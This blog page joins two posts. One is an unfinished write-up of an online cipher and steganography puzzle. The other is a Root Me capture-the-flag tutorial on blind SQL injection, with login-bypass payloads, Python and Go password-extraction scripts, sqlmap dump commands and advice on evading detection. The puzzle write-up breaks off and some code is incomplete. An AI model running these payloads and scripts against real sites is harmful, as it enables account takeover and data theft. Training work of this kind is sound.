Experiences of a cybersecurity guy 🐱‍💻

  1. Step 1
  2. Step 2
  3. Step 3
  4. Step 4
  5. Step 6
  6. Step 7
  7. Step 8
  8. Step 9

This is a writeup of the resolution of Nadya’s Puzzle that was found on various chans. The puzzle was presented like this:

There are 10 steps to the puzzle. It starts very simple but gets more complex with each step. Each step will give you information to discover the next step. Some knowledge of steganography, encryption, and ciphers will help. I apologize in advance for the difficulty of step 9 – it’s driven some people to insanity – but it can be solved, I promise. If you would like to enter The Wired your first step is… hsvvrp.zjsvzlsfo.paola.lluayhjlp..pzy.bolyl.

Step 1

Our first hint is given in the introduction, the puzzle has already started. Let’s dig in!

First hint: hsvvrp.zjsvzlsfo.paola.lluayhjlp..pzy.bolyl.

It looks like a substitution ciphere, Caesar Cipher being one of the most popular ones, we try to decode it as a Caesar Cipher. It looks promising, it is now forming words: alooki.scloselyh.ithet.eentracei..isr.uhere.

Look closely, the entrance is here

Or so it says. Let’s look at the seemingly superfluous letters and isolate them: ai.sh.it.ei..r.u. And then remove the dots used for formatting.

It’s a URL, pointing to https://aishitei.ru.

Step 2

After following the URL discovered in step 1, we open the inspector and are greated with:

-— You’re off to a good start. Now look up. -— Or maybe it was down? -— Try asking the girl, Lain, for help. -— She should be around here somewhere.

That’s our second hint. Refreshing the page, we notice that the mascot changes. The FAQ tells us that we can chose a specific mascot by passing the waifu parameter in the URL.

We can use a script to fetch all pictures, then we look through them. Surely enough, one of them is representing Lain:


Step 3

Looking at the strings in the file with the string command, we find a hint:

you're on the right track..kcart thgir eht no er'ouy\
the wired is calling for you..ouy rof gnillca si deriw eht\
can you hear it yet??tey ti raeh uoy nac

It’s telling us that there is something we need to hear and gives us the name of an audio file (track44.wav), after which we find the header of a WAVE file.

After renaming the file to track_44.wav (or extracting the audio file with software such as foremost) we can now listen to it.


We recognize Morse code.

Step 4

For the most enlightened, they can get the hint from listening to the audio file. For the rest like me, let’s transcript what we hear and feed it to a morse decoder (I used https://www.dcode.fr/morse-code):

_._. ._ _.|_.__ ___ .._|.... . ._ ._.|__ .|._.. .. ... _ . _.|_._. ._.. ___ ... . ._.. _.__|._.. .. ... _ . _.|_._. ._.. ___ ... . ._.. _.__|_.. ._ _. __. . ._.|_.. ._ _. __. . ._.|._. .._ _.|_. ._ _.. _.__ ._ _. ._ _.__|_.. ___ _|__ .|.._. .. _. _..|__ .|_ .... . ._. .

Which translates to:


Once again, it gives us a URL.

Step 6

We follow the hint and go to https://nadyanay.me, then we open the inspector and find this string 6e616479616e61792e6d652f77697265642e747874, on it’s own, unlike the previous hints accompanied by some text.

Looks like hex. We convert it to ASCII. There it is, it’s a URL: nadyanay.me/wired.txt

Step 7

We download the text at https://nadyanay.me/wired.txt. It is also available here for posteriry:


It looks like base64 with the == at the end, however decoding it as base64 gives us nothing. After a more careful observation, words written in capital letters stand out. I used ripgrep to isolate them, then tr to remove the newlines:

cat puzzles/wired.txt | rg "[A-Z]+" --only-matching | tr --delete "\n"

Some formatting later and here is the result:


Step 8

We proceed to https://nadyanay.me/stepeight.txt as intructed and find this text:


We can see what looks like repeating words, a pattern. From that we deduce that it’s a monoalphabetic cipher. Given that it has a really specific context and vocabulary, online decoders won’t help us much. We have to crack it manually (though some tools can still be of help, once again dcode comes in handy: https://www.dcode.fr/monoalphabetic-substitution). That one takes a bit of time and chance.


It wants us to go back to the first website https://aishitei.ru, watch omnipresence.mkv and read omnipresence.omnipresence.

Step 9

We find the files in the same folder where we found lain:

Once again you can find them here:

Hint: this step has to do with endianness.


SQL Injections (or SQLi) are a common way to extract data from a target.

Sometimes just running the right query can return all the data we need, but in other cases the result is not so obvious. That is the case in the Root Me SQL injection – Blind challenge that I’ll use for example sake. Of course, posting Root Me challenges solutions is forbiden, so I’ll only explain the general process and you can try it on your own. Some fields will also be redacted e.g. “administrator” or “administrator user” only refer to the access rights possessed by the user and are not real values.

This post will be split into three parts: the challenge explanation, blind SQLi explanation, and last the resolution with code examples (Python 3 and Go) as well as a bonus sqlmap approach.

Root Me challenge explanation

First, the challenge. This is a standard Root Me challenge, where we are tasked to find a flag. In this case, the flag is the administrator password, meaning it is not enough to log in via an SQLi as we would still be missing the password.

When starting the challenge, we are greeted with a login page:


Here the obvious procedure, as indicated by the challenge name, is to try and get entry by not just using a carefully crafted SQL injection, but a blind one. Indeed, we soon realise that either we get a failed log in or we get logged in. Sometimes a malformed SQL error, but we can’t extract data like in a normal SQLi.

That’s where the “blind” comes in!




What is a blinsqli

The blind SQLi is a type of SQLi so called because of the lack of output data from the target, thus the injecting process is akin to going in blind! However we’re not entirely blind. Blind SQLi can be used when the system responds differently to a failed and to a successful request. What does this mean? It means that while we can’t output the desired data directly, we can still slowly extract it.

Indeed, with there being two states it means we can ask binary questions! If the request goes through then it’s true, and if it fails then it’s false.

In our case we are trying to log in as the administrator user, so a request going through would be a request that shows us “Hi master”, while a failed request would show us “Error”.

We now know how we can extract data, so let’s get rolling!

Challenge resolution

To resolve this challenge we will need to extract the password, as mentioned earlier. This means we will always try to log in as the administrator user, and we will need to define a keyword present in the result of a successful request but not a failed one.

According to the previous picture, we can use either the name of the administrator or use “Hi master” that is only used to greet the administrator.

Extracting password length

In general to get the length of something in SQL we would use the length() function and be done with it. Here it is not that different, however we can only get true/false type answers. As such we can try the following payload:

administrator' AND length(redacted) == length -- -

Or if we prefer inequalities (useful for dichotomy, we will come back to it later):

administrator' AND length(redacted) > length -- -

We can also use an OR based query, however we would then need to limit the result. For example the above query is equivalent to:

administrator' OR length(redacted) > length limit 1,1 -- -

With length being the length we want to test for.

Having the length, we can then proceed to extracitng the password.

Extracting password

Extracting the password is a bit different, as we would normally use a SELECT password from Users WHERE UserName = 'Administrator' or something of the kind.

Here it is not possible. What we can use though is the SQL substr() function on one character at a time, to compare with with our input. This is done by setting 1 as the last parameter.

The payload would look something like:

administrator' AND substr(redacted, pos, 1) = l

With redacted the source string, in our case the one containing the password, pos being the index in the string and last but not least l being the letter we are testing for.

Once again, we can use > and < operators as well, which will be useful for the dychotomic approach.

Let’s get coding!

Naive approach (Python)

A naive approach would be to bruteforce the length and password sequentially. Let’s see what it looks like in Python (I did not implement length extraction, see Go implementation of getLength()).

This approach is simple, we just iterate over the length of the password and try a list of characters against each character in the password. I’ll use string.printable for the list of characters.

import urllib.request, urllib.parse, string, sys
from bs4 import BeautifulSoup as bs

I use urllib to handle the HTTP requests, another useful library is Requests. string allows me to use string.printable to get all the printable characters, and finally BeautifulSoup is very useful to handle HTML or XML.

password = ''
found = False
for j in range(1, redacted_length):

First let’s declare variables for the password and ’found’, which we will use to break the loop and to error out if our character set does not match the password we are trying to extract.

    for i in string.printable:
        payload= '\' OR substr(redacted,' + str(j) + ',1)=\'' + i + '\'-- -'
        params = { 'username': payload, 'password': 'whatever' }
        value = urllib.parse.urlencode(params).encode("utf-8")
        request = urllib.request.Request("http://challenge01.root-me.org/web-serveur/ch10/", value)
        response = urllib.request.urlopen(request)

        soup = bs(response.read(), 'html.parser')
        if(soup.findAll('h2', string='Hi master')):
            password += i
    if(not found):
        sys.exit(1); # Exit with error

Nothing magical happening here, as explainecd earlier we iterate on string.printable characters for each character in the password and substitute both of those in our payload. Then we build the request with the params, amongst which our payload, with urllib. We then execute the request and read the response then process it with BeautifulSoup, looking for our keyword (“Hi master”).

If the character is found we append it to the password, if not we exit with an error. It does the job, however as the title suggest this is naive/low effort approach, and we can do better!

Thoughtful approach (Go)

A more thoughtful approach makes use of dichotomy, leveraging inequalities instead of the equality checks used above.

For this approach, we split the problem in two with each iteration, this allows us to reduce the execution time by a lot and also, and it’s really important, to reduce the number of requests!

img Dichotomy, looking for 4 in a sorted array – Courtesy of LoStrangolatore, CC BY-SA 3.0

This is important as we don’t want to flood the logs of the target with our requests, ideally we would also space the checks by introducing a sleep() between each iteration to avoid or at least lower the chance of detection, by blending in with the rest of the traffic.

Here I was more interested in how quickly can I get the result, so I also introduced concurrency, through goroutines. Do this moderately (it increases the load on the server, which is not nice) and at your own risk.

Let’s see how we can get the length of the password! I don’t use dichtomy, as I thought about it afterwards. If you still wanted to use dichotomy you can take a look at how bruteforceChar(i int) does it.

func getLength() int {
	length := -1
	looking := true

	for looking {
		payload := `' OR length(redacted)>` + strconv.Itoa(length) + ` limit 1,1-- -`
		query := targetUrl.Query()
		query.Set("password", "whatever")
		query.Set("username", payload)
		resp, err := http.PostForm(targetUrl.String(), query)
		if err != nil {
		defer resp.Body.Close()
		body, err := ioutil.ReadAll(resp.Body)
		looking, _ = regexp.Match(keyword, body)

	return length

While the length is not found, we loop and send the payload we’ve seen above in Extracting password length. It’s a bit verbose!

Notice that we look for our keyword in the response body, this is our indicator of a failed or successful request.

Now that we have the length, we can fetch the password. I’ll make some helper functions. compareToPassword(i int, l string, operator string) bool that will build the payload with the index and letter we try for, as well as the operator used (< or =), and then execute it.

func compareToPassword(i int, l string, operator string) bool {
	payload := `administrator' AND substr(redacted,` + strconv.Itoa(i+1) + `,1)` + operator + `'` + l + `' -- -`
	query := targetUrl.Query()
	query.Set("password", "whatever")
	query.Set("username", payload)
	resp, err := http.PostForm(targetUrl.String(), query)
	if err != nil {
	defer resp.Body.Close()
		body, err := ioutil.ReadAll(resp.Body)
	match, _ := regexp.Match(keyword, body)

	return match

bruteforceChar(i int) that will do the binary search and call compareToPassword(i int, l string, operator string) bool:

func bruteforceChar(i int) {
	defer wg.Done()

	var low rune // U+0000
	var mid rune
	high := unicode.MaxLatin1

	for low < high {
		mid = (low + high) / 2
		l := mid
		if compareToPassword(i, string(l), ">") {
			low = mid + 1
		} else {
			high = mid

	// low == high
	if compareToPassword(i, string(low), "=") {
		password[i] = low
	} else {
		panic("Not in Latin1")

Here there is new stuff, first we have defer wg.Done() which tells the WaitGroup that the task is done, I’ll come back to it later when we talk about the use of goroutines. Then we have the use of rune which may look surprising to non Go initiates. A rune in Go is an alias for int32 and is used to store characters, as we now mainly use unicode which has lengthy characters as opposed to ASCII for which an int8 would have sufficed. The lowest possible rune we test will be U+0000 and for the highest one it will be the highest in the Latin1 charset, which fits my purpose well here. You are kindly invited to change it according to the purpose at hand, for example none of the Asian glyphs are in this charset so it would be ill-fitted for an Asian target.

After this is the dichotomy, while the two opposite pointers haven’t crossed there is still work to be done. We calculate the middle of these two pointers, and this is the letter we will try, we compare with the superior operator, allowing us to eliminate half the possibilities at once.

When the character is found, we add it in password at the right index and break out of the loop.

And now to tie it all together:

func main() {
	passwordLength := 0

	fmt.Println("Starting password extraction")
	fmt.Print("Password length: ")
	passwordLength = getLength()
	fmt.Print(passwordLength, "\n")
	password = make([]rune, passwordLength)
	fmt.Print("Password: ")

	for i := 0; i < passwordLength; i++ {
		go bruteforceChar(i)

For each character, we call bruteforceChar(i int) in a goroutine, as shown by the go keyword. This means each character can be found concurrently, and this is where we need the WaitGroup to assure that we get all the characters before printing the result.

Here we tell the WaitGroup it needs to wait for passwordLength processes, in each process we defer wg.Done(), meaning we tell to the WaitGroup that this process is done (defer calls the method before the encompassing function returns). At the end we wait for all processes to finish with wg.Wait().

That’s it!


While SQLis require SQL knowledge and may seem mysterious or intimidating at first, especially so blind ones, they are actually pretty easy to understand conceptually. And in the case of this Root Me challenge, we get nice enough feedback to determine our success condition. In some cases, these are not available and the only thing to go with is the request execution time.

This is actually another type of blind SQLi, time-based blind SQLi. To go further I suggest to explore this other type of blind SQLi. A Root Me challenge is also avaible for it here: SQL injection – Time based!

Bonus: sqlmap approach

As a bonus, let’s see how we can resolve this challenge by using state of the art tools, namely sqlmap.

sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --tables  --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite

--technique=B: use blind SQLi

-p username: inject parameter username

--tables: enumerate tables

This gives us:

Database: SQLite_masterdb
[1 table]
| redacted |

We continue by fetching the columns of this table.

sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite -D SQLite_masterdb  -T redacted --columns --time-sec=10 --threads=4

-D SQLite_masterdb: target database

-T redacted: target table

--columns: enumerate columns

--threads=4: speedier ;)

Database: SQLite_masterdb
Table: redacted
[3 entries]
| Column      | Type     |
| redacted_c1 | redacted |
| redacted_c3 | redacted |
| redacted_c3 | redacted |

Good, looks like the info we need is here. Last query:

sqlmap -u "challenge01.root-me.org/web-serveur/ch10/" --data="username=1&password=1" -p username --no-cast --technique=B --level=5 --risk=3 --dbms=SQLite -D SQLite_masterdb  -T users --time-sec=10 --dump --threads=4

--dump: dump the table content

-C "column1","column2" (not used here): only dump listed columns

Database: SQLite_masterdb
Table: users
[3 entries]
| redacted_c1 | redacted_c2 | redacted_c3 |
| redacted    | redacted    | redacted    |
| redacted    | redacted    | redacted    |
| redacted    | redacted    | redacted    |


#blinsqli #rootme

Enter your email to subscribe to updates.